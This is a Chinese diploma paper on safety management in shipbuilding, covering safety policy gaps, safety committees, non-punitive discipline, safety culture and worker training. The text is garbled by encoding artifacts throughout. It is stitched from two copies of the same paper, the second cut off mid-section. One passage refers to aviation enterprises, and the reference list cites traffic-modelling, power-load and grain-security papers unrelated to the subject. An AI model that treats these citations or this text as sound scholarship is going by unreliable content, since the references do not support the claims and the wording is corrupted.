第一篇：畢業(yè)論文-船舶工業(yè)安全管理

網(wǎng)絡(luò)教育學(xué)院

專

科

生

畢

業(yè)

大

作

業(yè)

題

目：船舶工業(yè)安全管理

學(xué)習(xí)中心： 層 次： 高中起點?？?/p>

專 業(yè)：

年 級： 年 春/秋 季

學(xué) 號：

學(xué) 生：

指導(dǎo)教師：

完成日期： 年 月 日

船舶工業(yè)安全管理

內(nèi)容摘要：船舶造修船生產(chǎn)現(xiàn)場是一個非常復(fù)雜的作業(yè)環(huán)境。無論是在地面平臺，還是在船舶船塢碼頭，由于生產(chǎn)工種多、生產(chǎn)工藝復(fù)雜，生產(chǎn)現(xiàn)場總是呈現(xiàn)多方位的立體交叉工作狀態(tài)。同時，由于船舶是一種特殊的產(chǎn)品，高空作業(yè)、密閉艙室、有限空間作業(yè)多，所以，要真正控制好船舶生產(chǎn)的安全，必須抓好安全生產(chǎn)的管理，實現(xiàn)生產(chǎn)過程中人與機械設(shè)備、物料、環(huán)境的和諧，達到安全生產(chǎn)的目標(biāo)。

關(guān)鍵詞：船舶企業(yè)；安全管理；安全培訓(xùn)

目 錄

內(nèi)容摘要........................................................2 1船舶企業(yè)安全生產(chǎn)存在的問題....................................4 1.1船舶企業(yè)的安全政策應(yīng)該清楚地說明船舶企業(yè)的目的、管理原則和持續(xù)改善安全水平的原望..............................................4 1.2有效的安全管理要求對組織內(nèi)的職權(quán)系統(tǒng)做出一份清晰的描述.......5 2.抓好船舶工業(yè)安全管理需要采取的措施............................6 2.1安全理念的培養(yǎng)...............................................7 2.2安全制度文化的建立...........................................7 2.3加強安全培訓(xùn)和班組建設(shè).......................................7 2.4抓好現(xiàn)場生產(chǎn)的安全管理.......................................8 2.5建立可行的規(guī)范，提高安全規(guī)則的執(zhí)行力.........................8 2.6做好船舶企業(yè)的安全管理培訓(xùn)...................................9 3.結(jié)論.........................................................10 參考文獻.......................................................11

1船舶企業(yè)安全生產(chǎn)存在的問題

安全管理系統(tǒng)要得到科學(xué)的和有步驟地實施，有必要定義組織的安全目標(biāo)，系統(tǒng)采用的形式和確定誰對系統(tǒng)承擔(dān)責(zé)任，這就必須制定安全管理計劃Safety management plan。安全管理計劃包括制定安全管理的有關(guān)政策和明確實施管理系統(tǒng)的任務(wù)和相關(guān)責(zé)任人。安全管理政策包括安全目標(biāo)、安全性能測評、非懲罰性紀(jì)律政策。而確定任務(wù)和相關(guān)責(zé)任人的實施過程則包括任務(wù)和責(zé)任的文件、分派工作以便有效地運行安全管理系統(tǒng)、安全辦公室、安全委員會、人員參與到系統(tǒng)的發(fā)展和推行過程中等。對船舶企業(yè)的現(xiàn)有安全管理計劃進行評審，可以發(fā)現(xiàn)，尚存在以下差距：

1.1船舶企業(yè)的安全政策應(yīng)該清楚地說明船舶企業(yè)的目的、管理原則和持續(xù)改善安全水平的原望

這可以通過以文件形式規(guī)定的、描述船舶企業(yè)為建立安全管理系統(tǒng)所采用的組織程序和結(jié)構(gòu)的政策來實現(xiàn)。安全政策還應(yīng)包括一份概述船舶企業(yè)希望通過其安全管理系統(tǒng)達到的目標(biāo)和成果的聲明。船舶企業(yè)已經(jīng)建立了質(zhì)量政策、安全經(jīng)營目標(biāo)（如事故征候率I等）和一些非懲罰性政策。但是缺陷如下： 缺少責(zé)任經(jīng)理對安全的聲明；

缺少各層管理人員缺少足夠的安全管理知識和技能； 安全數(shù)據(jù)統(tǒng)計不全，導(dǎo)致安全性能評估不準(zhǔn)確； 非懲罰性政策執(zhí)行效果不明顯； 遵守條例的措施需要改進。

船舶企業(yè)安全管理體系不完善之處：

安全政策沒有與全體員工交流并讓他們意識到各自的安全義務(wù)，導(dǎo)致部分員工對安全政策不理解或不夠重視，因而在實際執(zhí)行過程中產(chǎn)生了抵觸情緒，或者是不能很好地按照相關(guān)要求來實行。

船舶企業(yè)的安全政策也沒有進行定期評審，導(dǎo)致政策執(zhí)行不力。

改進方向：

廣泛分發(fā)管理評審結(jié)果以向員工演示評審過程是如何產(chǎn)生有利于組織的新目標(biāo)，并在管理評審加入客戶反饋和產(chǎn)品符合性要素； 增加責(zé)任經(jīng)理對安全的聲明，提高安全管理意識； 嚴(yán)格非懲罰性政策；

對各級管理人員開展安全管理方面的培訓(xùn)。

1.2有效的安全管理要求對組織內(nèi)的職權(quán)系統(tǒng)做出一份清晰的描述

對系統(tǒng)內(nèi)所有人的義務(wù)、責(zé)任和權(quán)利應(yīng)有清楚的了解。為此，必須成立安全委員會，并明確個人的具體職責(zé)。安全委員會為討論跨職能的安全相關(guān)問題提供一個論壇，從更廣的觀點考慮安全問題。傳統(tǒng)的健康和職業(yè)安全問題就是這方面的一個很好的例子。安全問題常常不局限于一個特殊的領(lǐng)域，而是需要來自不同領(lǐng)域的輸入和專家意見。安全委員會為這種對話提供一個論壇，同時也用于從“宏觀”的角度評估系統(tǒng)有效性。該委員會也為評審安全成果和傳播安全信息提供手段。船舶企業(yè)已經(jīng)成立了安全委員會和安全責(zé)任單位QM/PL，并規(guī)定了組織和個人的職責(zé)和義務(wù)，制定了各崗位的要求。通過這一系列措施和手段來將安全管理的任務(wù)和責(zé)任落實到個人頭上。但是仍然存在較多不足，如安全委員會的地位不明顯，在重大安全決策中沒有發(fā)揮應(yīng)有的作用。船舶企業(yè)管理手冊中第七章已有部分人員資格和職責(zé)的描述，職業(yè)安全健康手冊中有章節(jié)描述（安全生產(chǎn)崗位職責(zé)），但是仍然需要補充完善安全崗位人員職責(zé)。

在安全管理體系的實施過程中，我們發(fā)現(xiàn)，存在許多問題，使得安全體系難以真正建立起來。

（1）船舶企業(yè)領(lǐng)導(dǎo)的承諾和參與。由于安全管理體系的建立是一種新的思想，目前國內(nèi)航空企業(yè)的安全管理體系一般處于初步建設(shè)階段，對船舶企業(yè)也是如此。新的理念和新的方法需要被廣大員工所接受，這需要船舶企業(yè)領(lǐng)導(dǎo)的承諾和參與，船舶企業(yè)安全管理體系建立項目需要高層領(lǐng)導(dǎo)的推動，以提高員工的認(rèn)識。但是我們發(fā)現(xiàn)，在實際推行過程中，由于船舶企業(yè)領(lǐng)導(dǎo)的工作繁忙等很多因素，導(dǎo)致對項目推行的關(guān)注度不夠，遇到很多問題難以得到及時解決，因而影響了安全管理體系的建立。我們希望船舶企業(yè)領(lǐng)導(dǎo)不僅對安全作出承諾，同時也要 盡可能地支持項目的推進工作。

（2）風(fēng)險難以識別并被有效評估。風(fēng)險管理是搞好安全管理工作的核心工作，對潛在風(fēng)險進行識別并進行危害程度評價，是風(fēng)險管理的最佳模式。但是在實際操作過程中，卻很安難對風(fēng)險進行有效識別，難以挖掘潛在的風(fēng)險，并恰當(dāng)?shù)毓烙嬶L(fēng)險的危害程度。目前階段的解決辦法是建立數(shù)據(jù)收集和分析系統(tǒng)，利用較為科學(xué)的信息管理技術(shù)來強化風(fēng)險識別和評估工作。此外，應(yīng)做好安全報告工作，及時將工作中的安全隱患報告上來，把問題消除在萌芽狀態(tài)。

（3）非懲罰性的紀(jì)律政策難以有效執(zhí)行。非懲罰性的紀(jì)律政策是船舶企業(yè)安全管理系統(tǒng)的一部分。當(dāng)船舶企業(yè)提出對于一些行為進行某種程度的免于懲罰時，雇員更可能報告事件，并在調(diào)查中給予合作。由于非懲罰性政策是免于處罰的，因而難以對違規(guī)員工構(gòu)成威脅，因此執(zhí)行起來力度不大。目前來講，解決的辦法基本有兩個，一是嚴(yán)格非懲罰性紀(jì)律政策執(zhí)行程序來開展工作。即按照如下步驟：

? 第一次違規(guī)，給出口頭警告 ? 第二次違規(guī)，給出正式的書面警告

? 第三次違規(guī)，給出最終的書面警告（可以包括暫停工作）? 第四次違規(guī)，終止。

書面警告的有效期為1年，其后，雇員的直接主管將針對雇員積極的改變寫一封確認(rèn)信，并將信附在人員檔案內(nèi)的正式書面警告書后。

2.抓好船舶工業(yè)安全管理需要采取的措施

解決安全問題的有效方法是建立船舶企業(yè)的安全文化。只有建立了積極的安全文化，企業(yè)員工才會更加主動的報告與安全有關(guān)的隱患，更加配合調(diào)查人員開展工作。現(xiàn)在我們雖然建立了無懲罰政策，也鼓勵員工主動報告，但是由于企業(yè)文化的影響，真正能收集到的安全數(shù)據(jù)很少，數(shù)據(jù)少必定會影響風(fēng)險管理中數(shù)據(jù)分析的進行，所以，安全文化與安全管理體系之間有很大的相互依存性。積極的安全文化對于安全管理體系有效運作是必不可少的。我個人認(rèn)為，企業(yè)的安全文化建設(shè)，可以從幾個方面入手：

2.1安全理念的培養(yǎng)

1．安全思想教育：主要是針對全體員工，就安全認(rèn)識長期進行思想、態(tài)度、責(zé)任、法制、價值觀等方面的系統(tǒng)教育，從根本上提高其安全意識，樹立“安全第一”的觀念。

2．安全知識教育：通過一定的手段（講座、黑板報、培訓(xùn)班等）對職工進行生產(chǎn)作業(yè)安全技術(shù)知識、專業(yè)安全技術(shù)知識等教育，加強其自我保護意識。

3．創(chuàng)造安全文化氛圍：通過各種形式的安全活動，逐步形成企業(yè)安全文化的濃厚氛圍，制造安全需求環(huán)境。

2.2安全制度文化的建立

1．建立強有力的企業(yè)安全管理機制：一是切實執(zhí)行“企業(yè)負(fù)責(zé)制”，各層次人員逐級落實責(zé)任，建立起橫向到邊、縱向到底的安全管理網(wǎng)絡(luò)；二是切實履行“社會監(jiān)督”職責(zé)，獎懲嚴(yán)明、行之有效。

2．建立健全各項規(guī)章制度：所謂執(zhí)法有依。有了完善的安全法規(guī)和制度以及安全規(guī)程，就可以規(guī)范員工的安全行為，起到約束作用。

3．有了健全的規(guī)章制度，并不是說就可以高枕無憂了，必須將死的制度變成活的思想。通過對員工的宣傳、教育，使其能掌握并接受，最終形成員工的一種自主行為。

2.3加強安全培訓(xùn)和班組建設(shè)

1.會議體制。總經(jīng)理安全會議是船舶企業(yè)最高安全管理會議，每月月末在總經(jīng)理安全巡回結(jié)束后由總經(jīng)理組織召開，各部門長以上人員出席，會議的議題包括現(xiàn)場巡回中發(fā)現(xiàn)問題點的指出，上月指出問題點整改情況的報告，安全部門報告本月事故情況并說明下月船舶企業(yè)安全重點管理項目與實施要點，各部門報告本月安全活動實施結(jié)果并說明下月安全活動計劃等。在總經(jīng)理安全會議以下現(xiàn)場各部門、各科都召開月度安全會議，各班組召開月度安全懇談會以及每天召開的班組晨會和統(tǒng)轄會議，較為完善的會議體制保證各項指令能及時得到貫徹實施。

2.巡回檢查體制，包括每月一次的總經(jīng)理安全巡回、部長安全巡回、各科安全巡回、統(tǒng)轄安全巡回以及安全部門集體巡回和每周一次的專項巡回。

3.安全部門的監(jiān)督指導(dǎo)。在自主管理體制下，安全部門的最主要的職責(zé)是倡導(dǎo)安全理念，建立合理的管理程序，維護改善體制的運行，把握監(jiān)督現(xiàn)場安全狀況，指導(dǎo)安全管理與作業(yè)方法。安全部門每月派員參加各部(科)的安全會議、安全巡回，除現(xiàn)場指正問題外每周向相關(guān)部門反饋安全巡回結(jié)果并跟蹤結(jié)果的反饋與整改情況，并對各部門的安全管理實況進行月度評價考核。

4.強化基層特別是班組的安全管理。船舶企業(yè)通過定期組織班組長培訓(xùn)，幫助建立班組安全管理手冊，設(shè)立班組標(biāo)示板等形式來不斷提高班組長的安全意識，增長安全知識，提高班組管理技能，使班組長能主動履行班組安全監(jiān)督的責(zé)任，確保船舶企業(yè)安全管理最重要的基層組織運行良好。2.4抓好現(xiàn)場生產(chǎn)的安全管理

生產(chǎn)現(xiàn)場是企業(yè)生產(chǎn)力的載體，是職工直接從事生產(chǎn)活動、創(chuàng)造價值與使用價值的場所。企業(yè)向社會和市場提供的商品要通過生產(chǎn)現(xiàn)場制造出來；職工的精神面貌、道德、作風(fēng)在生產(chǎn)現(xiàn)場培養(yǎng)和體現(xiàn)出來的；投入生產(chǎn)的各種要素要在生產(chǎn)現(xiàn)場優(yōu)化組合后才能轉(zhuǎn)換為生產(chǎn)力，所有這些都要通過現(xiàn)場的有效管理才能實現(xiàn)?，F(xiàn)場管理水平的高低，直接關(guān)系到產(chǎn)品質(zhì)量的好壞、消耗與效益的高低，以及企業(yè)在市場競爭中的適應(yīng)能力和競爭能力。生產(chǎn)現(xiàn)場安全管理是現(xiàn)場管理中的重要環(huán)節(jié)，是現(xiàn)場各項生產(chǎn)活動能高效有序地進行并最終實現(xiàn)生產(chǎn)目標(biāo)的基本保證。

2.5建立可行的規(guī)范，提高安全規(guī)則的執(zhí)行力

船舶企業(yè)自開展造船生產(chǎn)以來，逐步建立完善了安全管理各級程序文件，包括船舶企業(yè)級安全管理手冊、安全管理規(guī)定基準(zhǔn)和部門級安全作業(yè)基準(zhǔn)。船舶企業(yè)在制定安全管理體系各級程序文件的時候，既考慮國家法律法規(guī)，更充分考慮制度或其建立的程序的可執(zhí)行性，確保建立的規(guī)則使員工能理解、可接受、易執(zhí)行。特別是非常強調(diào)要嚴(yán)格執(zhí)行的作業(yè)基準(zhǔn)，與業(yè)內(nèi)常說的安全操作規(guī)程的最大區(qū)別就是不但明確地告訴你能做什么，不能做什么，而且根據(jù)作業(yè)類別告訴作業(yè)者第一步做什么，第二步做什么，這其中必須要遵守的是什么，禁止的是什么，作業(yè)者做事就依據(jù)基準(zhǔn)所規(guī)定的程序及操作方法，按部就班地執(zhí)行。當(dāng)發(fā)現(xiàn)已經(jīng) 執(zhí)行的規(guī)定、基準(zhǔn)在現(xiàn)場很難推行或執(zhí)行時，管理者要考慮的不光是加強教育、監(jiān)督甚至處罰的力度，而且要考慮制度基準(zhǔn)的合理性，了解為什么難于執(zhí)行，通過與作業(yè)者、組長共同探討來修正基準(zhǔn)，在保持執(zhí)行規(guī)定的嚴(yán)肅性的同時使作業(yè)者容易接受并樂于執(zhí)行。比如，船舶企業(yè)原來規(guī)定在碼頭舾裝船機艙內(nèi)禁止吸煙，這是為了防止吸煙特別是亂丟煙蒂而引發(fā)舾裝船機艙火災(zāi)。但是，在實踐中，個別員工抽煙的情況很難得到有效的禁止，個別員工往往會在休息時躲起來偷偷地抽，反而更危險。經(jīng)過研討，對機艙內(nèi)各區(qū)域危險性進行了評估，船舶企業(yè)更改了有關(guān)制度，在機艙內(nèi)設(shè)置了指定吸煙地點并配置煙灰缸，規(guī)定員工要在指定場所吸煙，既確保安全又讓員工在休息時以自己喜歡的方式適當(dāng)?shù)胤潘伞?.6做好船舶企業(yè)的安全管理培訓(xùn)

1.開展“危險預(yù)知訓(xùn)練活動”，提高員工對危險的感知性?！拔ｋU預(yù)知訓(xùn)練”用存在不安全狀態(tài)、不安全行為的圖片讓大家分析現(xiàn)狀、找出危險、確立對策然后確定班組或自己以后的行動目標(biāo)，從而逐步培養(yǎng)員工對危險的認(rèn)識及動作前預(yù)知危險的行為習(xí)慣。船舶企業(yè)還提出了現(xiàn)場作業(yè)者“STOP-5 s危險預(yù)知”，目的是為了進一步使作業(yè)者養(yǎng)成在動作之前，暫停預(yù)知危險，確認(rèn)安全后再進行下一動作的習(xí)慣。

2.努力摸索能讓作業(yè)者特別是文化程度較低的作業(yè)者容易接受的方式來進行培訓(xùn)和教育。從員工的入廠教育到特種作業(yè)人員資格培訓(xùn)以及其他特別培訓(xùn)，船舶企業(yè)安全管理部門都用POWERPO INT制作了多媒體的教育資料，力求使培訓(xùn)教育的形式和內(nèi)容更豐富，教育的效果更好。船舶企業(yè)定期拍攝現(xiàn)場作業(yè)中存在不安全狀態(tài)、不安全行為(部分是故意設(shè)置的)的電視片讓員工來“找錯”。船舶企業(yè)安全管理部門還將月度安全重點管理項目的要點以漫畫的形式把它繪制出來，每月更換粘貼在宣傳欄、休息場所、分發(fā)到作業(yè)現(xiàn)場等處進行宣傳，以此增長員工安全知識，提醒員工注意重點的事項。

3.通過事故案例來進行教育。發(fā)生事故或重大危險經(jīng)歷召開對策會議后，船舶企業(yè)都將事故經(jīng)過、事故原因和防范對策并配之以圖片以通報的形式在最短的時間內(nèi)發(fā)送到各部門，讓各相關(guān)人員吸取教訓(xùn)，查找排除自己作業(yè)場所、行為中存在的類似隱患。

4.讓員工自己教育自己。船舶企業(yè)開展的“一日一善”活動，就是通過開展員工“每人每天做一件安全好事”的活動，讓員工自己判斷哪些事是正確的，是船舶企業(yè)提倡的，以達到讓員工自己教育自己，自己激勵自己的目的。船舶企業(yè)方面，也對做安全好事的員工及時地進行獎勵。

5.在管理中不斷進行培訓(xùn)，強化安全要點和安全意識。船舶企業(yè)內(nèi)部有一個晨會制度，由組長對組員進行當(dāng)天作業(yè)安全提醒，將上級的安全指示及時傳達給作業(yè)者，最后針對當(dāng)天作業(yè)的安全要點集體進行唱和，船舶企業(yè)還有一個小組(Group)集體安全巡回活動，每天由安全部門一名人員帶領(lǐng)從各車間抽調(diào)的3人到4人進行現(xiàn)場安全巡回，安全管理部門的管理監(jiān)督者每天在現(xiàn)場巡回，發(fā)現(xiàn)問題及時指出。

3.結(jié)論

船舶工業(yè)安全生產(chǎn)管理是隨著船舶生產(chǎn)的發(fā)展而發(fā)展的，隨著時代的變遷而進步的。我們要以要堅持節(jié)約發(fā)展、清潔發(fā)展、安全發(fā)展，把安全發(fā)展作為一個重要理念納入我國現(xiàn)代化建設(shè)的總體戰(zhàn)略。船舶工業(yè)要保持高速度發(fā)展勢頭必須要有安全穩(wěn)定的局面作保證。只有加強生產(chǎn)中的安全管理，才可以達到高標(biāo)準(zhǔn)的安全生產(chǎn)發(fā)展目標(biāo)。

參考文獻

1．馬駿，OD估計模型的發(fā)展[J]，公安大學(xué)學(xué)報(自然科學(xué)版)，1997年02期

2．李欣然,賀仁睦,周文,張伶俐，綜合負(fù)荷感應(yīng)電動機模型的改進及其描述能力[J]，電力系統(tǒng)自動化，1999年09期

3．尹娟,郭國會，人工神經(jīng)網(wǎng)絡(luò)在交通網(wǎng)絡(luò)OD矩陣推算中的應(yīng)用[J]，浙江大學(xué)學(xué)報(工學(xué)版)，2000年04期

4．楊蘊霞,王小虹，航運安全新理念——介紹船舶安全的IM模型[J]，航海教育研究，2001年02期

5．宋中民,肖新平，反向累加生成及灰色GOM(1,1)模型[J]，武漢理工大學(xué)學(xué)報(交通科學(xué)與工程版)，2002年04期

6．金雙泉,李碩,杜攀峰，交通仿真軟件在線控系統(tǒng)中的應(yīng)用研究[J]，公路交通科技，2003年05期

7．路靜,吳超仲,嚴(yán)新平，NETSIM模型的分析研究[J]，交通與計算機，2003年06期 8．廖永松,黃季焜，21世紀(jì)我國糧食安全保障與灌溉需水預(yù)測[J]，中國水利，2004年01期

9．金雙泉,李嘉,杜攀峰，仿真技術(shù)應(yīng)用于環(huán)形交叉口通行能力中的研究[J]，公路交通科技，2004年02期

10．廖永松,黃季焜，21世紀(jì)全國及九大流域片糧食需求預(yù)測分析[J]，南水北調(diào)與水利科技，2004年01期

第二篇：船舶工業(yè)安全管理

大連理工大學(xué)網(wǎng)絡(luò)教育學(xué)院畢業(yè)大作業(yè)模板

網(wǎng)絡(luò)教育學(xué)院

專

科

生

畢

業(yè)

大

作

業(yè)

題

目：船舶工業(yè)安全管理

學(xué)習(xí)中心： 層 次： 高中起點?？?/p>

專 業(yè)：

年 級： 年 春/秋 季

學(xué) 號：

學(xué) 生：

指導(dǎo)教師：

完成日期： 年 月 日

大連理工大學(xué)網(wǎng)絡(luò)教育學(xué)院畢業(yè)大作業(yè)模板

船舶工業(yè)安全管理

內(nèi)容摘要：船舶造修船生產(chǎn)現(xiàn)場是一個非常復(fù)雜的作業(yè)環(huán)境。無論是在地面平臺，還是在船舶船塢碼頭，由于生產(chǎn)工種多、生產(chǎn)工藝復(fù)雜，生產(chǎn)現(xiàn)場總是呈現(xiàn)多方位的立體交叉工作狀態(tài)。同時，由于船舶是一種特殊的產(chǎn)品，高空作業(yè)、密閉艙室、有限空間作業(yè)多，所以，要真正控制好船舶生產(chǎn)的安全，必須抓好安全生產(chǎn)的管理，實現(xiàn)生產(chǎn)過程中人與機械設(shè)備、物料、環(huán)境的和諧，達到安全生產(chǎn)的目標(biāo)。

關(guān)鍵詞：船舶企業(yè)；安全管理；安全培訓(xùn)

大連理工大學(xué)網(wǎng)絡(luò)教育學(xué)院畢業(yè)大作業(yè)模板

目 錄

內(nèi)容摘要........................................................2 1船舶企業(yè)安全生產(chǎn)存在的問題....................................4 1.1船舶企業(yè)的安全政策應(yīng)該清楚地說明船舶企業(yè)的目的、管理原則和持續(xù)改善安全水平的原望..............................................4 1.2有效的安全管理要求對組織內(nèi)的職權(quán)系統(tǒng)做出一份清晰的描述.......5 2.抓好船舶工業(yè)安全管理需要采取的措施............................6 2.1安全理念的培養(yǎng)...............................................7 2.2安全制度文化的建立...........................................7 2.3加強安全培訓(xùn)和班組建設(shè).......................................7 2.4抓好現(xiàn)場生產(chǎn)的安全管理.......................................8 2.5建立可行的規(guī)范，提高安全規(guī)則的執(zhí)行力.........................8 2.6做好船舶企業(yè)的安全管理培訓(xùn)...................................9 3.結(jié)論.........................................................10 參考文獻.......................................................11

大連理工大學(xué)網(wǎng)絡(luò)教育學(xué)院畢業(yè)大作業(yè)模板

1船舶企業(yè)安全生產(chǎn)存在的問題

安全管理系統(tǒng)要得到科學(xué)的和有步驟地實施，有必要定義組織的安全目標(biāo)，系統(tǒng)采用的形式和確定誰對系統(tǒng)承擔(dān)責(zé)任，這就必須制定安全管理計劃Safety management plan。安全管理計劃包括制定安全管理的有關(guān)政策和明確實施管理系統(tǒng)的任務(wù)和相關(guān)責(zé)任人。安全管理政策包括安全目標(biāo)、安全性能測評、非懲罰性紀(jì)律政策。而確定任務(wù)和相關(guān)責(zé)任人的實施過程則包括任務(wù)和責(zé)任的文件、分派工作以便有效地運行安全管理系統(tǒng)、安全辦公室、安全委員會、人員參與到系統(tǒng)的發(fā)展和推行過程中等。對船舶企業(yè)的現(xiàn)有安全管理計劃進行評審，可以發(fā)現(xiàn)，尚存在以下差距：

1.1船舶企業(yè)的安全政策應(yīng)該清楚地說明船舶企業(yè)的目的、管理原則和持續(xù)改善安全水平的原望

這可以通過以文件形式規(guī)定的、描述船舶企業(yè)為建立安全管理系統(tǒng)所采用的組織程序和結(jié)構(gòu)的政策來實現(xiàn)。安全政策還應(yīng)包括一份概述船舶企業(yè)希望通過其安全管理系統(tǒng)達到的目標(biāo)和成果的聲明。船舶企業(yè)已經(jīng)建立了質(zhì)量政策、安全經(jīng)營目標(biāo)（如事故征候率I等）和一些非懲罰性政策。但是缺陷如下： 缺少責(zé)任經(jīng)理對安全的聲明；

缺少各層管理人員缺少足夠的安全管理知識和技能； 安全數(shù)據(jù)統(tǒng)計不全，導(dǎo)致安全性能評估不準(zhǔn)確； 非懲罰性政策執(zhí)行效果不明顯； 遵守條例的措施需要改進。

船舶企業(yè)安全管理體系不完善之處：

安全政策沒有與全體員工交流并讓他們意識到各自的安全義務(wù)，導(dǎo)致部分員工對安全政策不理解或不夠重視，因而在實際執(zhí)行過程中產(chǎn)生了抵觸情緒，或者是不能很好地按照相關(guān)要求來實行。

船舶企業(yè)的安全政策也沒有進行定期評審，導(dǎo)致政策執(zhí)行不力。

大連理工大學(xué)網(wǎng)絡(luò)教育學(xué)院畢業(yè)大作業(yè)模板

改進方向：

廣泛分發(fā)管理評審結(jié)果以向員工演示評審過程是如何產(chǎn)生有利于組織的新目標(biāo)，并在管理評審加入客戶反饋和產(chǎn)品符合性要素； 增加責(zé)任經(jīng)理對安全的聲明，提高安全管理意識； 嚴(yán)格非懲罰性政策；

對各級管理人員開展安全管理方面的培訓(xùn)。

1.2有效的安全管理要求對組織內(nèi)的職權(quán)系統(tǒng)做出一份清晰的描述

對系統(tǒng)內(nèi)所有人的義務(wù)、責(zé)任和權(quán)利應(yīng)有清楚的了解。為此，必須成立安全委員會，并明確個人的具體職責(zé)。安全委員會為討論跨職能的安全相關(guān)問題提供一個論壇，從更廣的觀點考慮安全問題。傳統(tǒng)的健康和職業(yè)安全問題就是這方面的一個很好的例子。安全問題常常不局限于一個特殊的領(lǐng)域，而是需要來自不同領(lǐng)域的輸入和專家意見。安全委員會為這種對話提供一個論壇，同時也用于從“宏觀”的角度評估系統(tǒng)有效性。該委員會也為評審安全成果和傳播安全信息提供手段。船舶企業(yè)已經(jīng)成立了安全委員會和安全責(zé)任單位QM/PL，并規(guī)定了組織和個人的職責(zé)和義務(wù)，制定了各崗位的要求。通過這一系列措施和手段來將安全管理的任務(wù)和責(zé)任落實到個人頭上。但是仍然存在較多不足，如安全委員會的地位不明顯，在重大安全決策中沒有發(fā)揮應(yīng)有的作用。船舶企業(yè)管理手冊中第七章已有部分人員資格和職責(zé)的描述，職業(yè)安全健康手冊中有章節(jié)描述（安全生產(chǎn)崗位職責(zé)），但是仍然需要補充完善安全崗位人員職責(zé)。

在安全管理體系的實施過程中，我們發(fā)現(xiàn)，存在許多問題，使得安全體系難以真正建立起來。

（1）船舶企業(yè)領(lǐng)導(dǎo)的承諾和參與。由于安全管理體系的建立是一種新的思想，目前國內(nèi)航空企業(yè)的安全管理體系一般處于初步建設(shè)階段，對船舶企業(yè)也是如此。新的理念和新的方法需要被廣大員工所接受，這需要船舶企業(yè)領(lǐng)導(dǎo)的承諾和參與，船舶企業(yè)安全管理體系建立項目需要高層領(lǐng)導(dǎo)的推動，以提高員工的認(rèn)識。但是我們發(fā)現(xiàn)，在實際推行過程中，由于船舶企業(yè)領(lǐng)導(dǎo)的工作繁忙等很多因素，導(dǎo)致對項目推行的關(guān)注度不夠，遇到很多問題難以得到及時解決，因而影響了安全管理體系的建立。我們希望船舶企業(yè)領(lǐng)導(dǎo)不僅對安全作出承諾，同時也要

大連理工大學(xué)網(wǎng)絡(luò)教育學(xué)院畢業(yè)大作業(yè)模板

盡可能地支持項目的推進工作。

（2）風(fēng)險難以識別并被有效評估。風(fēng)險管理是搞好安全管理工作的核心工作，對潛在風(fēng)險進行識別并進行危害程度評價，是風(fēng)險管理的最佳模式。但是在實際操作過程中，卻很安難對風(fēng)險進行有效識別，難以挖掘潛在的風(fēng)險，并恰當(dāng)?shù)毓烙嬶L(fēng)險的危害程度。目前階段的解決辦法是建立數(shù)據(jù)收集和分析系統(tǒng)，利用較為科學(xué)的信息管理技術(shù)來強化風(fēng)險識別和評估工作。此外，應(yīng)做好安全報告工作，及時將工作中的安全隱患報告上來，把問題消除在萌芽狀態(tài)。

（3）非懲罰性的紀(jì)律政策難以有效執(zhí)行。非懲罰性的紀(jì)律政策是船舶企業(yè)安全管理系統(tǒng)的一部分。當(dāng)船舶企業(yè)提出對于一些行為進行某種程度的免于懲罰時，雇員更可能報告事件，并在調(diào)查中給予合作。由于非懲罰性政策是免于處罰的，因而難以對違規(guī)員工構(gòu)成威脅，因此執(zhí)行起來力度不大。目前來講，解決的辦法基本有兩個，一是嚴(yán)格非懲罰性紀(jì)律政策執(zhí)行程序來開展工作。即按照如下步驟：

? 第一次違規(guī)，給出口頭警告 ? 第二次違規(guī)，給出正式的書面警告

? 第三次違規(guī)，給出最終的書面警告（可以包括暫停工作）? 第四次違規(guī)，終止。

書面警告的有效期為1年，其后，雇員的直接主管將針對雇員積極的改變寫一封確認(rèn)信，并將信附在人員檔案內(nèi)的正式書面警告書后。

2.抓好船舶工業(yè)安全管理需要采取的措施

解決安全問題的有效方法是建立船舶企業(yè)的安全文化。只有建立了積極的安全文化，企業(yè)員工才會更加主動的報告與安全有關(guān)的隱患，更加配合調(diào)查人員開展工作?，F(xiàn)在我們雖然建立了無懲罰政策，也鼓勵員工主動報告，但是由于企業(yè)文化的影響，真正能收集到的安全數(shù)據(jù)很少，數(shù)據(jù)少必定會影響風(fēng)險管理中數(shù)據(jù)分析的進行，所以，安全文化與安全管理體系之間有很大的相互依存性。積極的安全文化對于安全管理體系有效運作是必不可少的。我個人認(rèn)為，企業(yè)的安全文化建設(shè)，可以從幾個方面入手：

大連理工大學(xué)網(wǎng)絡(luò)教育學(xué)院畢業(yè)大作業(yè)模板

2.1安全理念的培養(yǎng)

1．安全思想教育：主要是針對全體員工，就安全認(rèn)識長期進行思想、態(tài)度、責(zé)任、法制、價值觀等方面的系統(tǒng)教育，從根本上提高其安全意識，樹立“安全第一”的觀念。

2．安全知識教育：通過一定的手段（講座、黑板報、培訓(xùn)班等）對職工進行生產(chǎn)作業(yè)安全技術(shù)知識、專業(yè)安全技術(shù)知識等教育，加強其自我保護意識。

3．創(chuàng)造安全文化氛圍：通過各種形式的安全活動，逐步形成企業(yè)安全文化的濃厚氛圍，制造安全需求環(huán)境。

2.2安全制度文化的建立

1．建立強有力的企業(yè)安全管理機制：一是切實執(zhí)行“企業(yè)負(fù)責(zé)制”，各層次人員逐級落實責(zé)任，建立起橫向到邊、縱向到底的安全管理網(wǎng)絡(luò)；二是切實履行“社會監(jiān)督”職責(zé)，獎懲嚴(yán)明、行之有效。

2．建立健全各項規(guī)章制度：所謂執(zhí)法有依。有了完善的安全法規(guī)和制度以及安全規(guī)程，就可以規(guī)范員工的安全行為，起到約束作用。

3．有了健全的規(guī)章制度，并不是說就可以高枕無憂了，必須將死的制度變成活的思想。通過對員工的宣傳、教育，使其能掌握并接受，最終形成員工的一種自主行為。

2.3加強安全培訓(xùn)和班組建設(shè)

1.會議體制?？偨?jīng)理安全會議是船舶企業(yè)最高安全管理會議，每月月末在總經(jīng)理安全巡回結(jié)束后由總經(jīng)理組織召開，各部門長以上人員出席，會議的議題包括現(xiàn)場巡回中發(fā)現(xiàn)問題點的指出，上月指出問題點整改情況的報告，安全部門報告本月事故情況并說明下月船舶企業(yè)安全重點管理項目與實施要點，各部門報告本月安全活動實施結(jié)果并說明下月安全活動計劃等。在總經(jīng)理安全會議以下現(xiàn)場各部門、各科都召開月度安全會議，各班組召開月度安全懇談會以及每天召開的班組晨會和統(tǒng)轄會議，較為完善的會議體制保證各項指令能及時得到貫徹實施。

